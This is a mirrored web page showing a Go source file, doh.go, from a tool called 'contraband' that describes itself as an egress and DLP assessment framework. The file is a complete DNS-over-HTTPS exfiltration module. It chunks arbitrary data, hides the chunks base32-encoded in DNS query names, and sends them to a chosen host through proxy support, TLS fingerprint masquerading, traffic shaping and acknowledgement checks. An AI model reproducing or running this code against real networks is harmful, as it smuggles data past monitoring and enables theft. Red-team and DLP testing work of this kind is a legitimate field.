● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / dns / doh.go
← Back to directory
256 lines · 6.8 KB
Raw
1package dns
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "encoding/base32"
8 "encoding/hex"
9 "errors"
10 "fmt"
11 "io"
12 "net/http"
13 "strings"
14 "time"
15
16 mdns "github.com/miekg/dns"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21// DoHExfiltrator implements DNS over HTTPS (RFC 8484) with uTLS ClientHello masquerading.
22type DoHExfiltrator struct{}
23
24func NewDoHExfiltrator() *DoHExfiltrator {
25 return &DoHExfiltrator{}
26}
27
28func init() {
29 exfil.RegisterExfiltrator(common.ProtoDoH, NewDoHExfiltrator())
30}
31
32func (e *DoHExfiltrator) Protocol() string {
33 return common.ProtoDoH
34}
35
36func (e *DoHExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
37 if err := opts.Validate(); err != nil {
38 return nil, err
39 }
40
41 start := time.Now().UTC()
42 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
43 if err != nil {
44 return nil, err
45 }
46 result.Timestamps.StartTCP = start
47 result.TLSProfile = opts.TLSFingerprint
48 result.PayloadType = opts.PayloadType
49 result.CarrierType = opts.CarrierType
50
51 payload, err := io.ReadAll(reader)
52 if err != nil {
53 return nil, fmt.Errorf("failed to read payload: %w", err)
54 }
55 result.TargetVolume = int64(len(payload))
56
57 if opts.ExpectedHash == "" {
58 h := sha256.Sum256(payload)
59 opts.ExpectedHash = hex.EncodeToString(h[:])
60 }
61 result.PayloadHash = opts.ExpectedHash
62
63 if opts.SessionToken.IsZero() {
64 tok, tokErr := common.NewSessionToken()
65 if tokErr != nil {
66 return nil, tokErr
67 }
68 opts.SessionToken = tok
69 }
70
71 dnsChunkSize := 32
72 if opts.ChunkSize > 0 && opts.ChunkSize < 32 {
73 dnsChunkSize = opts.ChunkSize
74 }
75
76 var rawChunks [][]byte
77 if len(payload) == 0 {
78 rawChunks = [][]byte{{}}
79 } else {
80 for i := 0; i < len(payload); i += dnsChunkSize {
81 end := i + dnsChunkSize
82 if end > len(payload) {
83 end = len(payload)
84 }
85 rawChunks = append(rawChunks, payload[i:end])
86 }
87 }
88 totalChunks := uint32(len(rawChunks))
89
90 domain := opts.Headers["domain"]
91 if domain == "" {
92 domain = "contraband.local"
93 }
94 domain = strings.TrimSuffix(domain, ".")
95
96 isTLS := opts.UseTLS || (opts.TargetPort != 80 && opts.InsecureTLS) || opts.TargetPort == 443 || opts.TargetPort == 8443 || opts.TargetPort == 9443 || opts.TargetPort == 10443
97 scheme := "http"
98 if isTLS {
99 scheme = "https"
100 }
101 dohURL := fmt.Sprintf("%s://%s:%d/dns-query", scheme, opts.TargetHost, opts.TargetPort)
102
103 var httpClient *http.Client
104 if isTLS {
105 tlsCfg := exfil.TLSConfig{
106 ServerName: opts.TargetHost,
107 InsecureSkipVerify: opts.InsecureTLS,
108 Fingerprint: opts.TLSFingerprint,
109 ALPN: []string{"http/1.1"},
110 }
111 tr := exfil.NewHTTPTransport(tlsCfg)
112 if opts.ProxyDialer != nil {
113 tr.DialContext = opts.ProxyDialer.DialContext
114 }
115 httpClient = &http.Client{Transport: tr, Timeout: opts.Timeout}
116 } else {
117 tr := &http.Transport{
118 MaxIdleConns: 100,
119 IdleConnTimeout: 90 * time.Second,
120 TLSHandshakeTimeout: 10 * time.Second,
121 }
122 if opts.ProxyDialer != nil {
123 tr.DialContext = opts.ProxyDialer.DialContext
124 }
125 httpClient = &http.Client{Transport: tr, Timeout: opts.Timeout}
126 }
127
128 b32Enc := base32.StdEncoding.WithPadding(base32.NoPadding)
129
130 result.Timestamps.ConnectedTCP = time.Now().UTC()
131 result.Timestamps.FirstByteSent = time.Now().UTC()
132
133 for seq := uint32(1); seq <= totalChunks; seq++ {
134 chunkData := rawChunks[seq-1]
135 b32Chunk := b32Enc.EncodeToString(chunkData)
136 if b32Chunk == "" {
137 b32Chunk = "A"
138 }
139
140 fqdn := fmt.Sprintf("%d.%d.%s.%s.%s.", seq, totalChunks, opts.SessionToken.String(), b32Chunk, domain)
141 msg := new(mdns.Msg)
142 msg.SetQuestion(fqdn, mdns.TypeA)
143 msg.RecursionDesired = false
144
145 packedMsg, packErr := msg.Pack()
146 if packErr != nil {
147 result.Verdict = common.VerdictBlockedL7
148 result.ErrorMessage = fmt.Sprintf("failed to pack DNS message: %v", packErr)
149 calculateDurations(&result)
150 return &result, packErr
151 }
152
153 req, reqErr := http.NewRequestWithContext(ctx, http.MethodPost, dohURL, bytes.NewReader(packedMsg))
154 if reqErr != nil {
155 result.Verdict = common.VerdictBlockedL7
156 result.ErrorMessage = reqErr.Error()
157 calculateDurations(&result)
158 return &result, reqErr
159 }
160
161 req.Header.Set("Content-Type", "application/dns-message")
162 req.Header.Set("Accept", "application/dns-message")
163 for k, v := range opts.Headers {
164 if !strings.EqualFold(k, "domain") {
165 req.Header.Set(k, v)
166 }
167 }
168
169 resp, httpErr := httpClient.Do(req)
170 if httpErr != nil {
171 result.Verdict = classifyError(httpErr)
172 result.ErrorMessage = httpErr.Error()
173 calculateDurations(&result)
174 return &result, httpErr
175 }
176
177 respBody, readErr := io.ReadAll(resp.Body)
178 _ = resp.Body.Close()
179
180 if readErr != nil {
181 result.Verdict = classifyError(readErr)
182 result.ErrorMessage = fmt.Sprintf("failed to read DoH response body: %v", readErr)
183 calculateDurations(&result)
184 return &result, readErr
185 }
186
187 result.BytesSent += int64(len(packedMsg))
188 result.BytesRecv += int64(len(respBody))
189
190 if resp.StatusCode != http.StatusOK {
191 result.Verdict = common.VerdictBlockedL7
192 result.ErrorMessage = fmt.Sprintf("DoH server returned status %d: %s", resp.StatusCode, string(respBody))
193 calculateDurations(&result)
194 return &result, errors.New(result.ErrorMessage)
195 }
196
197 respMsg := new(mdns.Msg)
198 if err := respMsg.Unpack(respBody); err != nil {
199 result.Verdict = common.VerdictBlockedL7
200 result.ErrorMessage = fmt.Sprintf("failed to unpack DoH DNS response: %v", err)
201 calculateDurations(&result)
202 return &result, err
203 }
204
205 var ackConfirmed bool
206 for _, ans := range respMsg.Answer {
207 if aRecord, ok := ans.(*mdns.A); ok && aRecord.A != nil {
208 ip := aRecord.A.To4()
209 if ip != nil && ip[0] == 127 {
210 ackSeq := uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3])
211 if ackSeq == seq {
212 ackConfirmed = true
213 break
214 }
215 }
216 }
217 }
218
219 if !ackConfirmed {
220 result.Verdict = common.VerdictBlockedL7
221 result.ErrorMessage = fmt.Sprintf("invalid DoH sequence ACK for chunk %d", seq)
222 calculateDurations(&result)
223 return &result, errors.New(result.ErrorMessage)
224 }
225
226 if opts.Shaper != nil {
227 if err := opts.Shaper.WaitN(ctx, len(chunkData)); err != nil {
228 result.Verdict = classifyError(err)
229 result.ErrorMessage = err.Error()
230 calculateDurations(&result)
231 return &result, err
232 }
233 }
234 if opts.Cadence != nil {
235 delay := opts.Cadence.NextDelay()
236 if delay > 0 {
237 select {
238 case <-time.After(delay):
239 case <-ctx.Done():
240 result.Verdict = classifyError(ctx.Err())
241 result.ErrorMessage = ctx.Err().Error()
242 calculateDurations(&result)
243 return &result, ctx.Err()
244 }
245 }
246 }
247 }
248
249 result.Timestamps.AckReceived = time.Now().UTC()
250 result.Timestamps.TeardownDone = time.Now().UTC()
251 result.Verdict = common.VerdictSuccess
252 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
253
254 calculateDurations(&result)
255 return &result, nil
256}